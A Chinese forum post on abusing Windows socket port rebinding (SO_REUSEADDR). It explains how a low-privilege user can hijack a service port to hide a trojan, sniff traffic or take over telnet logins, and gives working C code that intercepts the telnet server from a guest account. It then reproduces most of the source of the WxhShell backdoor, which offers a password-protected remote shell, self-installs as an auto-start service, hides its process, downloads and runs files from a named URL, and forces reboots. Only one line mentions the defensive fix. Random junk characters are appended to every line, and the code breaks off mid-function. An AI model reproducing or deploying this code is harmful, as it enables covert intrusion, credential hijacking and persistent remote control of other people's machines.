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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: `<nxXsLe  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); |}4\Gm  
2f[;U"  
  saddr.sin_family = AF_INET; WLl8oE< X  
M@xU59$@  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); C+TB>~Gv`  
Y%?S:&GH  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Cy[G7A%  
p*b_ "aF1  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 9G/!18 X?f  
|SOLC  
  这意味着什么?意味着可以进行如下的攻击: }MQ:n8  
relt7sK  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 q!c=f!U?\l  
a$=~1@  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) @s1T|}AJ  
6M >@DRZ'|  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 4Fft[S(  
|6 Q5bV  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  8* A%k1+  
X)KCk2Ax  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 /JS_gr@DK  
S9Sgd&a9  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 .P 1WY  
Yj@ Sy  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Xfk DMh  
T`E0_ZU;  
  #include ,m{R m0  
  #include ,ucRQ&P  
  #include ^sf,mM~D  
  #include    (xb2H~WrN  
  DWORD WINAPI ClientThread(LPVOID lpParam);   _f^6F<!  
  int main() lEHx/#qt9  
  { iAz0 A  
  WORD wVersionRequested; fmixWL7.Zg  
  DWORD ret; ?0; 2ct  
  WSADATA wsaData; TaRPMKk  
  BOOL val; Z[nHo'  
  SOCKADDR_IN saddr; p}QDX*/sSu  
  SOCKADDR_IN scaddr; w1tM !4r  
  int err; zP44 Xhz  
  SOCKET s; 3Z?ornS  
  SOCKET sc; 5mZ2CDV  
  int caddsize; ;].X;Ky <  
  HANDLE mt; NA0nF8ek  
  DWORD tid;   $9X+dvu*  
  wVersionRequested = MAKEWORD( 2, 2 ); 6.)ug7aF  
  err = WSAStartup( wVersionRequested, &wsaData ); 1D 'r;`z  
  if ( err != 0 ) { 2K9X (th1  
  printf("error!WSAStartup failed!\n"); !'N@ZZ  
  return -1; B@(d5i{h  
  } #4Z e2T|  
  saddr.sin_family = AF_INET; ^4fvV\ne_~  
   Lng. X8D  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 P*6m~`"5  
NF&Sv  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); r &.~ {  
  saddr.sin_port = htons(23); T_S3_-|{==  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) v*!N}1+J  
  { K) }1;  
  printf("error!socket failed!\n"); "s0,9; }  
  return -1; (vG*)a  
  } Dz0D ^(;V  
  val = TRUE; _8.TPB]no  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 5!?5S$>  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) e6taQz@}  
  { r.e K;  
  printf("error!setsockopt failed!\n"); Ikdj?"+O  
  return -1; Z+v,o1  
  } gk|>E[.  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; oJ4HvrUO  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 tY;<S}[@7w  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 0I.KHIB k  
a]r+np]vTy  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) t)&U'^  
  { 4J5zSTw  
  ret=GetLastError(); o4" [{LyT  
  printf("error!bind failed!\n"); J]U_A/f  
  return -1; <mFDC?j  
  } m+!.H\  
  listen(s,2); HF FG4'  
  while(1) DT`HS/~fH  
  { *V kaFQZ$,  
  caddsize = sizeof(scaddr); M*0^<e~]F  
  //接受连接请求 bJIYe ld  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); q5_zsUR=  
  if(sc!=INVALID_SOCKET) :XhF:c[.:  
  { I#2$CSJ  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); qj;i03 +@  
  if(mt==NULL) 486\a  
  { X\m\yv}}  
  printf("Thread Creat Failed!\n"); ?(gha  
  break; T#qf&Q Z  
  } dM;\)jm  
  }  oE+P=  
  CloseHandle(mt); qGA|.I9,  
  } ^UKAD'_#%O  
  closesocket(s); S a +Y/  
  WSACleanup(); +#eol~j9N  
  return 0; sm`c9[E  
  }   7y=O!?*  
  DWORD WINAPI ClientThread(LPVOID lpParam) ^y@ W\  
  { {N}az"T4f  
  SOCKET ss = (SOCKET)lpParam; 7n#-3#_mG  
  SOCKET sc; b#?sx"z  
  unsigned char buf[4096]; `o{ Z;-OF  
  SOCKADDR_IN saddr; -| FHv+  
  long num; >UCg3uFj  
  DWORD val; iHhdoY[]  
  DWORD ret; nook/7]  
  //如果是隐藏端口应用的话,可以在此处加一些判断 OdFF)-K >~  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   i(|u g_^  
  saddr.sin_family = AF_INET; nod&^%O"  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); rNk'W,FU  
  saddr.sin_port = htons(23); #r#[&b  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) +%XByY5  
  { 1Rd|P<y  
  printf("error!socket failed!\n"); -rU_bnm  
  return -1; %nkP" Z#  
  } ;D~#|CB  
  val = 100; u9 &$`N_G  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) QQW}.>N  
  { :6(\:  
  ret = GetLastError(); f,yl'2{  
  return -1; dE"_gwtX  
  } #HgN wM  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) "Vq= Ph  
  { UE^o}Eyg  
  ret = GetLastError(); =Q<VU/  
  return -1; C_N|o|dX  
  } Z 01A~_  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) O4X03fUx  
  { ]B )nN':  
  printf("error!socket connect failed!\n"); c ?CD;Pk  
  closesocket(sc); >>T7;[h  
  closesocket(ss); jVnTpa!A  
  return -1; {3  
  } S%MDQTM  
  while(1) HVus\s\&y%  
  { ZRf9'UwS  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 u~OlJ1V  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 &lLk[/b  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ,;t:x|{%  
  num = recv(ss,buf,4096,0); }OEL] 5  
  if(num>0) _S{TjGZ&  
  send(sc,buf,num,0); oZ*?Uh*  
  else if(num==0) U^KWRqt  
  break; !!Ww#x~k$[  
  num = recv(sc,buf,4096,0); T!]rdN!  
  if(num>0) bdWdvd:  
  send(ss,buf,num,0); xF{%@t  
  else if(num==0) h)Fc<,vwBE  
  break; BX$<5S@  
  } "9P @bA  
  closesocket(ss); 4vbGXb}!  
  closesocket(sc); lOcFF0'  
  return 0 ; -]^JaQw  
  } ; +\h$  
b|-)p+ba  
MtL<)?HQ  
========================================================== %j^QK>%  
8$~oiK%fw  
下边附上一个代码,,WXhSHELL @ovaOX  
 7V5c`:"  
========================================================== ]AA|BeL?|  
d2eXN3"  
#include "stdafx.h" >0@w"aKn  
;)h?P.]  
#include <stdio.h> CtMqE+j^  
#include <string.h> h F+aL  
#include <windows.h> {xg=Ym)  
#include <winsock2.h> We$ n  
#include <winsvc.h> :PBFFLe  
#include <urlmon.h> xwo *kFg  
wKi#5k2  
#pragma comment (lib, "Ws2_32.lib") /x@aAJ|  
#pragma comment (lib, "urlmon.lib") [[c0g6  
J.JD8o9sa  
#define MAX_USER   100 // 最大客户端连接数 'a0M.*f}G  
#define BUF_SOCK   200 // sock buffer K W&muD  
#define KEY_BUFF   255 // 输入 buffer HsTY*^V  
q>(?Z#sB  
#define REBOOT     0   // 重启 lt-3OcC  
#define SHUTDOWN   1   // 关机 )&T 5 /+  
FDgo6x   
#define DEF_PORT   5000 // 监听端口 K9ia|2f  
m Z +dr[  
#define REG_LEN     16   // 注册表键长度 v_Vw!u  
#define SVC_LEN     80   // NT服务名长度 e'uC:O.u  
)w4U]inJ$"  
// 从dll定义API KH)-=IJ8  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ?ja%*0 R  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); k}:;`ST  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); :=*G7ZyW$  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); }< '6FxR  
3U^Vz9LW  
// wxhshell配置信息 j~Pw t9G  
struct WSCFG {  lha;|  
  int ws_port;         // 监听端口 &iWTf K7  
  char ws_passstr[REG_LEN]; // 口令 FbuWFC  
  int ws_autoins;       // 安装标记, 1=yes 0=no  d;>G  
  char ws_regname[REG_LEN]; // 注册表键名 47(_5PFb#  
  char ws_svcname[REG_LEN]; // 服务名 Y `8)`  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 jR}EBaI}  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Psf'^42(v  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 B~]6[Z  
int ws_downexe;       // 下载执行标记, 1=yes 0=no oH17!$Fly  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 2p9^ =  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 e 1XKlgl  
tXA?[ S  
}; \dU.#^ryp  
p#qla'  
// default Wxhshell configuration MS#"TG/)  
struct WSCFG wscfg={DEF_PORT, ym5@SBqIx  
    "xuhuanlingzhe", ASov/<D_q  
    1, 5ph CEKt;  
    "Wxhshell", rZwSo]gp  
    "Wxhshell", (z8ZCyq7r[  
            "WxhShell Service", 6h5g!GQD  
    "Wrsky Windows CmdShell Service", ! (lF#MG}  
    "Please Input Your Password: ", @D-I@Cyl  
  1, 7WH'GoBh  
  "http://www.wrsky.com/wxhshell.exe", 'qEw]l  
  "Wxhshell.exe" w_>\Yd[  
    }; dH5*%  
hN K wQ  
// 消息定义模块 43h06X`  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; HqsqUS3[  
char *msg_ws_prompt="\n\r? for help\n\r#>"; cQ<|Of  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 9 Vq   
char *msg_ws_ext="\n\rExit."; ;UXV!8SM  
char *msg_ws_end="\n\rQuit."; xO:h[  
char *msg_ws_boot="\n\rReboot..."; ?8kFAf~  
char *msg_ws_poff="\n\rShutdown..."; 4u*n7di$9d  
char *msg_ws_down="\n\rSave to "; p>pN?53S  
' *XIp:  
char *msg_ws_err="\n\rErr!"; v/xlb&Xx  
char *msg_ws_ok="\n\rOK!"; U}:+Hz9  
93D}0kp  
char ExeFile[MAX_PATH]; 5JaLE5-  
int nUser = 0; m{ani/bt  
HANDLE handles[MAX_USER]; 2He R1m<  
int OsIsNt; @ NDcO,]  
Tv'1IE  
SERVICE_STATUS       serviceStatus; e8f 7*S8  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; /"="y'Wx  
%S"z9@  
// 函数声明 n;. M5}O  
int Install(void); Q3& ?28  
int Uninstall(void); H (K!{k  
int DownloadFile(char *sURL, SOCKET wsh); Zs t)S(  
int Boot(int flag); l'[;q '  
void HideProc(void); cQLPgE0  
int GetOsVer(void); ~pp< T  
int Wxhshell(SOCKET wsl); H0tu3Pqk  
void TalkWithClient(void *cs); a ub$4n!C9  
int CmdShell(SOCKET sock); -[vw 8  
int StartFromService(void); &+02Sn3A  
int StartWxhshell(LPSTR lpCmdLine); =Bc{0p*  
wQ+i l6  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 837:;<T  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); KM )MUPr  
cXt&k  
// 数据结构和表定义 GQ?FUFuIoW  
SERVICE_TABLE_ENTRY DispatchTable[] = Ff>X='{  
{ >pZ _  
{wscfg.ws_svcname, NTServiceMain}, "LDNkw'  
{NULL, NULL} Mu:zWLM*M  
}; ?r(vXq\  
&S*{a  
// 自我安装 Zjn1,\(t~u  
int Install(void) rtJ@D2Hj^  
{ b(mZ/2,B  
  char svExeFile[MAX_PATH]; w(_:+-rqQ<  
  HKEY key; L-U4 8 i  
  strcpy(svExeFile,ExeFile); p`&{NR3+  
?>ZrdfTwz,  
// 如果是win9x系统,修改注册表设为自启动 c8]%,26.  
if(!OsIsNt) { h*KDZ+{)  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ik?IC$*n3i  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^y ', l  
  RegCloseKey(key); 65@GXn[W_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { >Giw\|:f(  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); [7x;H  
  RegCloseKey(key); cahlYv'  
  return 0; 'bZw-t!M@  
    } m,hqq%qz  
  } D->E&#  
} G+sB/l"  
else { ~7j-OWz9  
jX'pUO  
// 如果是NT以上系统,安装为系统服务 :#sBNy  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); %#4;'\'5  
if (schSCManager!=0) qooTRqc#,  
{ n&]J-^Tx  
  SC_HANDLE schService = CreateService t:lDFv4s  
  ( B ( h`~pb  
  schSCManager, $B>L_~cS  
  wscfg.ws_svcname, Qu<HeSA_  
  wscfg.ws_svcdisp, 8Rw:SU9H?T  
  SERVICE_ALL_ACCESS, #,lbM%a  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , -KbO[b\V  
  SERVICE_AUTO_START, 8Dxg6>  
  SERVICE_ERROR_NORMAL, [Z'4YXS  
  svExeFile, bZK`]L[   
  NULL, P*Jk 8MK#G  
  NULL, .ozBa778u  
  NULL, 2y$DTMu  
  NULL, xPT$d,~"  
  NULL cbou1Ei   
  ); uVZm9Sp  
  if (schService!=0) "/^kFsvp  
  { s#0m  
  CloseServiceHandle(schService); j;Lp@~M  
  CloseServiceHandle(schSCManager); biV|W@JM  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); #Sg/  
  strcat(svExeFile,wscfg.ws_svcname); uGlz|C  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { M>RLS/r>d  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 23;\l   
  RegCloseKey(key); eon(C|S7eK  
  return 0; Z^A(Q>{e  
    } WV|9d}5  
  } YE"MtL {  
  CloseServiceHandle(schSCManager); 3\<(!yY8  
} \n#l+R23  
} RC"xnnIJv  
9<!??'@f  
return 1; m`XaY J  
} \q-["W34  
M tDJ1I%  
// 自我卸载 J{EK}'  
int Uninstall(void) rA_r$X  
{ _cfAJ)8=  
  HKEY key; | ~D~#Nz  
]%Whtj.,x7  
if(!OsIsNt) { ~te{9/   
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { /oM&29 jy  
  RegDeleteValue(key,wscfg.ws_regname); 6NFLk+kqN  
  RegCloseKey(key); 2I4G=jM[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { b;mpZ|T.  
  RegDeleteValue(key,wscfg.ws_regname); %HZ!s `w_  
  RegCloseKey(key); X~; *zYd5  
  return 0; {2|sk9?W  
  } 5= MM^$QG  
} /KJWo0zo  
} Tc;BE  
else { eLN(NSPoS  
uTrGb:^  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); rPW 9lG  
if (schSCManager!=0) %%O_:@9x,  
{ c$hoqi |tD  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); y3V47J2o  
  if (schService!=0) c%n%,R>  
  { #0qMYe>Y  
  if(DeleteService(schService)!=0) { exm*p/  
  CloseServiceHandle(schService); C\[g>_J  
  CloseServiceHandle(schSCManager); Q},uM_" +  
  return 0; fV/  
  } rlDJHR6  
  CloseServiceHandle(schService); <8Q?kj  
  } !%C&hH\  
  CloseServiceHandle(schSCManager); *UG=dl#F#  
} P}p6{  
} oP<E)  
eY$Q}BcW  
return 1; 0ipYXbC  
} ^yF2xJ)9-  
f=MR.\  
// 从指定url下载文件 /0F <GBQ"v  
int DownloadFile(char *sURL, SOCKET wsh) vi.q]$ohbV  
{ }5;3c%  
  HRESULT hr; OEN'c0;5  
char seps[]= "/"; Zf`dd T  
char *token; j~9,Ct  
char *file; 0 .t1p(x;  
char myURL[MAX_PATH]; W&k2z,|  
char myFILE[MAX_PATH]; x(88Y7o.t  
2! bE|  
strcpy(myURL,sURL); fm%-wUgj  
  token=strtok(myURL,seps); Op<|Oz$Q|l  
  while(token!=NULL) myY@Wp  
  { {5:V hW}  
    file=token; 3WdANR  
  token=strtok(NULL,seps); B7qiCX}pD  
  } lT]dj9l  
Ed~2Qr\65  
GetCurrentDirectory(MAX_PATH,myFILE); D8_-Dvp7H  
strcat(myFILE, "\\"); EabZ7zFoN  
strcat(myFILE, file); ~rU{Q>c  
  send(wsh,myFILE,strlen(myFILE),0); (svd~he2  
send(wsh,"...",3,0); Y{#m=-h  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Mj@ 0F 2hy  
  if(hr==S_OK) J $<g" z3  
return 0; _\xd]~ELj  
else xSHeP`P^X  
return 1; '| |),>~  
Z,Tv8;  
} vV9q5Bj:  
YVLaO*( f  
// 系统电源模块 V0WFh=CM@  
int Boot(int flag) q^w3n2  
{ wq&TU'O  
  HANDLE hToken; KEj-y+  
  TOKEN_PRIVILEGES tkp; (PCv4:`g  
5zBsulRt  
  if(OsIsNt) { U~8 oE_+  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 7[ra#>e8'  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); X[c8P7  
    tkp.PrivilegeCount = 1; mI~k@!3  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; )TcW.d6  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); $r=Ud >  
if(flag==REBOOT) { Q:B:  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) MoP 0qNk  
  return 0; #zcnc$x\  
} [0e}%!%M  
else { VXAgp6  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) zZ=.riK  
  return 0; :xT=uE.I  
} Ls^$E  
  } 9m fYB  
  else { e$^O_e  
if(flag==REBOOT) { Ci ? +Sl  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ^CwzA B  
  return 0; o5FBqt  
} i'%:z]hp9  
else { q|%(47}z  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ^\<1Y''  
  return 0; xe6 2gaT  
} daZY;_{"o  
} ATU 2\Y  
=kvYE,,g_  
return 1; WVf>>E^1  
} ~l@SGHx  
AjZ@hid  
// win9x进程隐藏模块 JtU/%s  
void HideProc(void) i=<N4Vx  
{ b&Sk./ J6  
bg)yl iX  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 9c1n  
  if ( hKernel != NULL ) DPNUm<>  
  { XoaBX2  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); f&Bu_r  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); of ^N4  
    FreeLibrary(hKernel); E0}jEl/{  
  } bd2"k;H<o  
`1KZ14K  
return; ;o#R(m@Lx  
} T%xB|^lf  
zRJopcE<  
// 获取操作系统版本 :R<n{%~  
int GetOsVer(void) yl%F}kBR  
{ 56m|gZcC  
  OSVERSIONINFO winfo; $vdGkz@6  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Z;W`deA  
  GetVersionEx(&winfo); fmvv q1G&  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ht S5<+Y  
  return 1; m(8t |~S  
  else @fbB3  
  return 0; H0s,tTK8  
} g!O(@Sqp1  
{q"l|Oe  
// 客户端句柄模块 E#T-2^nD  
int Wxhshell(SOCKET wsl) ?zNv7Bj  
{ (+9_nAgZ,  
  SOCKET wsh; HQ+:0" B  
  struct sockaddr_in client; xS,#TU;)Ol  
  DWORD myID; GjA;o3(  
52>?l C  
  while(nUser<MAX_USER) kG+CT  
{ c|Nv^V*2  
  int nSize=sizeof(client); d3(T=9;f2  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); - iS\3P.  
  if(wsh==INVALID_SOCKET) return 1; mD)_quz.sk  
oZ@_o3VG  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Y2w 9]:J  
if(handles[nUser]==0) M*E4:A9_M  
  closesocket(wsh); r$6z{Na\[  
else 2|#3rF  
  nUser++; ue$\ i=jw  
  } .Lp0_R@  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); a$FELlMv  
G;MgrA#\  
  return 0; Sg0 _l(  
} Y=4,d4uu  
;/SM^&Y  
// 关闭 socket l9q ygh  
void CloseIt(SOCKET wsh) \sF}NBNT@  
{ c% 0h!zF  
closesocket(wsh); jpaY:fcF  
nUser--; 8Hs>+Udl  
ExitThread(0); Y'Jb@l`$-  
} ^^%sPtp  
lvb0dOmY  
// 客户端请求句柄 V D.p"F(]  
void TalkWithClient(void *cs) !w98 [BE7  
{ X{ZBS^M  
>GgX-SZ%  
  SOCKET wsh=(SOCKET)cs; r 06}@7  
  char pwd[SVC_LEN]; )D@1V=9,  
  char cmd[KEY_BUFF]; BJk\p.BVN  
char chr[1]; 6A/Nlk.  
int i,j; Zcz)FP#  
r+>E`GGQ  
  while (nUser < MAX_USER) { 2[Q*?N  
wI}5[m  
if(wscfg.ws_passstr) { E'&UWD h  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 7##nY3",^  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 3U@ p  
  //ZeroMemory(pwd,KEY_BUFF); oWo"` "P  
      i=0; xue-5 '  
  while(i<SVC_LEN) { lb&tAl"D  
?U2ed)zzw  
  // 设置超时 l0u6nGkh  
  fd_set FdRead; +vLuzM-  
  struct timeval TimeOut; 'sY>(D*CQ  
  FD_ZERO(&FdRead); ^,b*.6t  
  FD_SET(wsh,&FdRead); #* S0d1  
  TimeOut.tv_sec=8; )AqM?FE4R  
  TimeOut.tv_usec=0; OtF{=7  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); VE6T&fz`  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); yK0Q,   
EUe2<G  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); D_9&=a a'  
  pwd=chr[0]; =6j  5,  
  if(chr[0]==0xd || chr[0]==0xa) { 91%+Bf()J6  
  pwd=0; q[1H=+  
  break; 1U~AupHE  
  } d^Ra1@0"q2  
  i++;  #d*mG =  
    } KcfW+> W3  
@|%t<{y^I  
  // 如果是非法用户,关闭 socket naXo < B  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); DhY9)>4M  
} iX.=8 ~3  
Rmn|"ZK  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); X!CLOHVA a  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Q{H88g^=J  
\h :Rw|  
while(1) { Zo;@StN3}T  
=1^Ru*G  
  ZeroMemory(cmd,KEY_BUFF); ~DPg):cZ  
{j,bV6X  
      // 自动支持客户端 telnet标准   2ADUJ  
  j=0; %zd1\We  
  while(j<KEY_BUFF) { 7l7eUy/z  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); LZM[Wg#  
  cmd[j]=chr[0]; /+sn -$/"i  
  if(chr[0]==0xa || chr[0]==0xd) {  rc*3k  
  cmd[j]=0; 7-w +/fv  
  break; W&z.O  
  } >?b/_O  
  j++; c"H4/,F  
    } GfJm&'U&  
0X0HDQ  
  // 下载文件 &EXql']  
  if(strstr(cmd,"http://")) { WaN0$66[:  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); d<V+;">2  
  if(DownloadFile(cmd,wsh)) "a5?cX;  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7u!R 'D  
  else (bH"x  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2j4VW0:  
  } X||o iqbY  
  else { {;Mcor3  
.+ai dWd  
    switch(cmd[0]) { 8 8pz<$  
  /Rx%}~x/m  
  // 帮助 t{!}^{ "5  
  case '?': { kdQ=%  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); E^1uZI\z  
    break; RX=C)q2c  
  } {^"c>'R  
  // 安装 }N2T/U  
  case 'i': { nrwb6wj  
    if(Install()) A7+eWg{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *u 3K8"XZ  
    else 6peO9]Zy  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Nh]eZ3O  
    break; a%;$l_wVT:  
    } u~1[nH:  
  // 卸载 g}$]K! F  
  case 'r': { WsJ3zZc  
    if(Uninstall()) #R305  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); q' 3=  
    else *FK!^Y  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Z?XE~6aP>  
    break; iIcO_ZyA  
    } "] kaaF$U%  
  // 显示 wxhshell 所在路径 V`S6cmwdc\  
  case 'p': { GZXUB0W\@)  
    char svExeFile[MAX_PATH]; uzho>p[ae  
    strcpy(svExeFile,"\n\r"); H`),PY2  
      strcat(svExeFile,ExeFile); +X cB5S>  
        send(wsh,svExeFile,strlen(svExeFile),0); q^( [ & +  
    break; l]T|QhiVd  
    } &Zd{ElM  
  // 重启 hKQT,  
  case 'b': { Z)62/`C)  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ;|soc:aH  
    if(Boot(REBOOT)) o8 q@rwu3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [% |i  
    else {  Cj_cu  
    closesocket(wsh); UR1U; k  
    ExitThread(0); 7AV!v`  
    } RA>xol~xy  
    break; T1M4@j  
    } 8.{5c6G  
  // 关机 NLoJmOi;L7  
  case 'd': { iZg v VH  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); BGLJ>zkq  
    if(Boot(SHUTDOWN)) `cy_@Z5A  
